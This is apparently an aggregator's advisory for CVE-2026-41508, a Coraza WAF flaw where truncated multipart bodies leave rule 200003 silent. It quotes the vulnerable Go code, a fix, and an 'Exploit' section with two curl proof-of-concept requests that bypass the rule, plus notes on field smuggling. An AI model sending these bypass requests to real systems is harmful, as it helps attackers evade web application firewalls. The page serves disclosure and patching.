Coraza, Truncated multipart body bypasses MULTIPART_STRICT_ERROR (rule 200003), CVE-2026-41508 (Moderate) -DC-Oct2026-2795

Listen to this Post

CVE-2026-41508 describes a vulnerability in Coraza’s multipart body processor where `io.ErrUnexpectedEOF` is treated as a benign condition, causing the `MULTIPART_STRICT_ERROR` flag to remain unset and `REQBODY_ERROR` to not propagate. The flaw originates from commit `3347961b` (PR 1453, merged 2026-03-06) and first shipped in v3.4.0. Three code sites in `internal/bodyprocessors/multipart.go` mishandle the error identically: the filesystem-backed file branch (lines 71–77), the TinyGo path (lines 82–88), and the field branch (lines 102–113). In each case, when `io.Copy` or `io.ReadAll` returns io.ErrUnexpectedEOF, the code sets `seenUnexpectedEOF = true` or executes a `break` without setting the strict-error flag. The function then returns `nil` at line 116 for any prematurely ended body. Consequently, `MULTIPART_STRICT_ERROR` stays at its initial value of 0, and `REQBODY_ERROR` is not propagated because `ProcessRequest` returns nil. Neither of the two canonical defensive rules in `coraza.conf-recommended` fires: rule 200002 (REQBODY_ERROR "!@eq 0") and rule 200003 (MULTIPART_STRICT_ERROR "!@eq 0"). All other error branches in the same function (lines 27, 48, 66, 84, 104) correctly set `MULTIPART_STRICT_ERROR` before returning, making this an inconsistency introduced in PR 1453. The PR was intended to support `SecRequestBodyLimitAction ProcessPartial` by avoiding `return err` on ErrUnexpectedEOF, but it also silenced the strict-error flag. The fix requires adding the flag-setter alongside the existing `seenUnexpectedEOF = true` or `break` path at the three affected sites, preserving the non-fatal semantics while restoring the invariant that malformed multipart always raises MULTIPART_STRICT_ERROR. The impact is disproportionately large because rule 200003 is the only defense-in-depth rule for multipart in the recommended config, leaving evasions that truncate the body undetected.

DailyCVE Form:

Platform: Coraza
Version: >= 3.4.0 <= 3.7.0
Vulnerability: Truncated multipart bypass
Severity: Moderate
date: 2026-10-06

Prediction: v3.7.1

What Undercode Say:

Analytics:

Verify the vulnerable code path
grep -n "seenUnexpectedEOF" internal/bodyprocessors/multipart.go
Output: lines 71-77, 82-88, 102-113
// Vulnerable pattern (filesystem-backed, lines 71-77)
sz, err := io.Copy(temp, p)
if err != nil {
if !errors.Is(err, io.ErrUnexpectedEOF) {
v.MultipartStrictError().(collections.Single).Set("1")
return err
}
seenUnexpectedEOF = true // <-- flag never set for UnexpectedEOF
}
// Vulnerable pattern (field branch, lines 102-113)
data, err := io.ReadAll(p)
if err != nil {
if !errors.Is(err, io.ErrUnexpectedEOF) {
v.MultipartStrictError().(collections.Single).Set("1")
return err
}
}
// ...
if errors.Is(err, io.ErrUnexpectedEOF) {
break // <-- exits loop with no flag set
}

Exploit: (Educational Purposes!)

Case 2: Two parts, no closing boundary
curl -X POST http://target/ \
-H "Content-Type: multipart/form-data; boundary=PoCBoundary12345" \
--data-binary $'--PoCBoundary12345\r\nContent-Disposition: form-data; name="field1"\r\n\r\nbenign\r\n--PoCBoundary12345\r\nContent-Disposition: form-data; name="truncated"\r\n\r\nMALFORMED_NO_TRAILING_BOUNDARY'
Expected: HTTP 400 (rule 200003)
Observed: HTTP 200, no audit record, multipartStrictError == 0
Case 3: Mid-part cutoff
curl -X POST http://target/ \
-H "Content-Type: multipart/form-data; boundary=PoCBoundary12345" \
--data-binary $'--PoCBoundary12345\r\nContent-Disposition: form-data; name="x"\r\n\r\nabc'
Expected: HTTP 400
Observed: HTTP 200

Protection: from this CVE

// Two-line fix per site in internal/bodyprocessors/multipart.go
if errors.Is(err, io.ErrUnexpectedEOF) {
v.MultipartStrictError().(collections.Single).Set("1")
seenUnexpectedEOF = true // keep existing break semantics
}

Apply at lines 71–77, 82–88, and 102–113. Operators in `ProcessPartial` mode who intentionally allow truncated bodies should downgrade rule 200003 to detection-only or scope it with a secondary check on whether `SecRequestBodyLimit` was actually hit.

Impact:

Rule 200003 is Coraza’s blanket defense against multipart parser-inconsistency evasions. This defense is void for any evasion that also truncates the body. Reachable examples include smuggling a second field past the truncation boundary that the backend’s more permissive parser still extracts, hiding payload bytes after a deliberately malformed `Content-Disposition` header that the Go parser refuses but the backend accepts, and generic CRS evasion chains that depend on rule 200003 as a catch-all.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top